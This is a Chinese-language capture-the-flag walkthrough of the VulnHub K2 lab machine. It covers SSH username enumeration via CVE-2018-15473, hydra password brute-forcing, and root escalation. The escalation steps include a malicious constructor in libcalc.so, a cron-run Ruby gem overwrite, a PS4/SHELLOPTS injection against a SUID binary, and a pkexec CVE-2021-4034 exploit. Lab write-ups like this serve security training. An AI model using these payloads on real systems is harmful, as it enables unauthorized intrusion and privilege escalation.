vulnhub-/DEV/RANDOM: K2 靶机渗透流程
本篇解题思路参考了靶机作者提供的wp,相关链接:https://www.youtube.com/watch?v=9B1C_xi_yic靶机信息
下载地址:https://vulnhub.com/entry/devrandom-k2,204/
靶机描述:
https://i-blog.csdnimg.cn/direct/63f7ae03c9f649aebf3871088c88224f.png
一、信息搜集
扫描获取靶机ip、端口、服务信息
https://i-blog.csdnimg.cn/direct/065cf40640a5469f9bc1fca754eb8056.png
仅开启了22端口
二、ssh漏洞使用
1.用户名枚举
其着实靶机的描述信息中已经给出了用户名和暗码user:password,但我最初没看到
靶机ssh服务版本为OpenSSH 6.6.1,这个版本存在用户名枚举漏洞
使用CVE-2018-15473枚举脚本,导入常用用户名字典后爆破ssh的用户名
https://i-blog.csdnimg.cn/direct/86aca95a25814a03aa2280c9db67a2b3.png
复制结果保存到记事本查找得到用户名
https://i-blog.csdnimg.cn/direct/f189f168a0504e47adb82c8ae1153f9e.png
2.ssh暗码爆破
用hydra对用户user进行暗码爆破
https://i-blog.csdnimg.cn/direct/d739638eb04746d69f2bd98f9c25b610.png
三、后渗透提权
1.通过命令调用的.so库文件提权
进去先sudo -l看看,发现可以以user2权限实行/bin/calc命令
尝试后发现自动进行了某种运算,且进度为99%就竣事了,好像缺少某些依靠导致实行中断
https://i-blog.csdnimg.cn/direct/b946b29fb51a44c78c164059bd72e652.png
用strace调试下,重点查看调用的库与缺少的库等
strace /bin/calc 2>&1 | grep -i -E "open|access|no such file"
https://i-blog.csdnimg.cn/direct/000dbbd2372643ba9e766fc6bf0f3ffc.png
可以发现缺少/home/user/.config/libcalc.so的共享库文件
同理,strings也能发现这个可疑的文件信息
https://i-blog.csdnimg.cn/direct/59292f06790845d793fb696c830aa6ad.png
在/home/user文件夹下没有发现.config文件夹,那么我们就可以自己编写具有维持权限结果的.c文件编译得到libcalc.so文件让/bin/calc调用从而达到提权结果
https://i-blog.csdnimg.cn/direct/9ed6f5a7726f4b5098ca3d9a35f38ab3.png
实例.c文件代码如下:
#include <stdio.h>
#include <stdlib.h>
static void x()__attribute__((constructor));
void x()
{
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
通过构造函数x让它在程序运行时同步运行,并通过将/bin/bash复制到/tmp下赋予suid并运行来完成提权
编译.c文件
gcc -shared -o libcalc.so -fPIC libcalc.c
随后将/home/user目次添加可实行权限,再次sudo实行/bin/calc即可提权到user2
https://i-blog.csdnimg.cn/direct/6843799509114b918931e6d83afd079b.png
2.通过命令调用的.rb文件提权
同样sudo -l先看看,发现可以以user3权限实行/usr/bin/sleep,通过同样方法验证发现没有调用可修改的命令或是依靠,且sleep命令本身无法通过sudo提权
https://i-blog.csdnimg.cn/direct/7e61d4b709c64d258141657075801939.png
去user2的用户目次下看看,发现与user用户不同,.bash_history非空。查看后发现修改过定时任务文件/etc/crontab
https://i-blog.csdnimg.cn/direct/62818f1eab204a519f65aa40627b4640.png
https://i-blog.csdnimg.cn/direct/ea6631363eab4062a57f0c87223d3952.png
编辑/etc/crontab即可发现隐藏的定时任务/sbin/bckup
https://i-blog.csdnimg.cn/direct/63aa190490cd4cb580d3f1b4f13fc768.png
https://i-blog.csdnimg.cn/direct/0689dec36fbf4b86911a833714811ee0.png
这一步汗青命令多且真实的定时任务隐藏不易发现,故也可以通过定时任务发现脚本pspy64来告竣
https://i-blog.csdnimg.cn/direct/36530756ebe942c5a74c9cbb3c8b6ece.png
https://i-blog.csdnimg.cn/direct/be4ef903896f4b7583a2d603e0db6669.png
查看/sbin/bckup发现其调用了rubygems和zip库
https://i-blog.csdnimg.cn/direct/034fc5ac6b0945cca72edcc6cee92cb8.png
通过gem的查找命令找到zip的.rb文件位置,随后惊喜地发现它是可以被user2修改的
gem which zip
https://i-blog.csdnimg.cn/direct/e4be55fc559541d7ad1d977cf2f1df03.png
那接下来将提权代码写入.rb文件,让它将user3的bash复制到/tmp中并加上suid
echo '`cp /bin/bash /tmp/bash2 && chmod +s /tmp/bash2`' > /usr/local/share/gems/gems/rubyzip-1.2.1/lib/zip.rb
https://i-blog.csdnimg.cn/direct/56d24f86f5664764b4a7b5d0d535f20e.png
等候定时任务实行天生提权文件后实行即可提权到user3的组
https://i-blog.csdnimg.cn/direct/fbb7e5a912da46f0965fcec0156796a3.png
3.通过suid命令提取
sudo -l发现因为uid照旧user2,因此显示的sudo命令与user2一样
https://i-blog.csdnimg.cn/direct/ca40755937a346b39f54a524ee83db36.png
可以通过编写脚本来使我们的uid变得与gid雷同
实例代码如下:
int main()
{
setreuid(geteuid(),getuid());
setregid(getegid(),getgid());
system("/bin/bash");
}
编译后运行即可
https://i-blog.csdnimg.cn/direct/62f718938bed42728dbc61e722ad252e.png
sudo -l发现user3需要暗码才华查看sudo命令列表
https://i-blog.csdnimg.cn/direct/127ccd42e569435ca8dd3585563e3369.png
尝试查找具有suid的文件,发现可疑文件/usr/local/bin/whoisme
https://i-blog.csdnimg.cn/direct/905b75460a3b43839ef05d0e3ddb0073.png
通过运行和strings查看到的/usr/bin/logname函数判断,whoisme调用的显示结果就是logname命令的实行结果,尝试运行/usr/bin/logname确认结果一样
https://i-blog.csdnimg.cn/direct/8cfbd3fc1a7541f4b531f6620584d8f7.png
在strings查看/usr/local/bin/whoisme的结果中发现它还调用了setuid和setgid函数,这会使得它答应以更高权限的用户和组的身份实行命令,如果我们能保持该权限即可完成到root的提权
我们可以通过临时修改默认环境变量来维持实行命令时的权限
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/bash4 && chown root.root /tmp/bash4 && chmod +s /tmp/bash4)' /bin/sh -c '/usr/local/bin/whoisme'
其中env -i表现忽略当前其他环境变量值,SHELLOPTS和PS4是linux默认的环境变量,SHELLOPTS=xtrace将追踪之后命令的实行结果并显示,而PS4则会在实行命令时将其/bin/bash复制到/tmp下并修改其属主与属组为root,然后添加suid
https://i-blog.csdnimg.cn/direct/425faa086012446c93a5b85b600c7206.png
可以看到提权已经乐成,在/root下获取flag.txt即可
https://i-blog.csdnimg.cn/direct/52b0dedfdff84d288b69d699be3c5ea1.png
四、脚本一键提权
其着实查找suid文件的过程中,我们还会发现一个值得留意的点:/usr/lib/polkit-1/polkit-agent-helper-1
https://i-blog.csdnimg.cn/direct/fa99d1ced7a54551907d7105b3497d85.png
而这个文件在先前披露的cve-2021-4034中有提权漏洞,可以使用对应的脚本一键快速提权
现在我们的用户是最初的登任命户user
https://i-blog.csdnimg.cn/direct/d087fd3faae74c668c39c20c030fef0f.png
我们下载提权脚本后编译并运行,即可一步提权到root
https://i-blog.csdnimg.cn/direct/a58572e85e464a8db16278178e264031.png
https://i-blog.csdnimg.cn/direct/c534f0580a9142d88a95baf10d1ce351.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]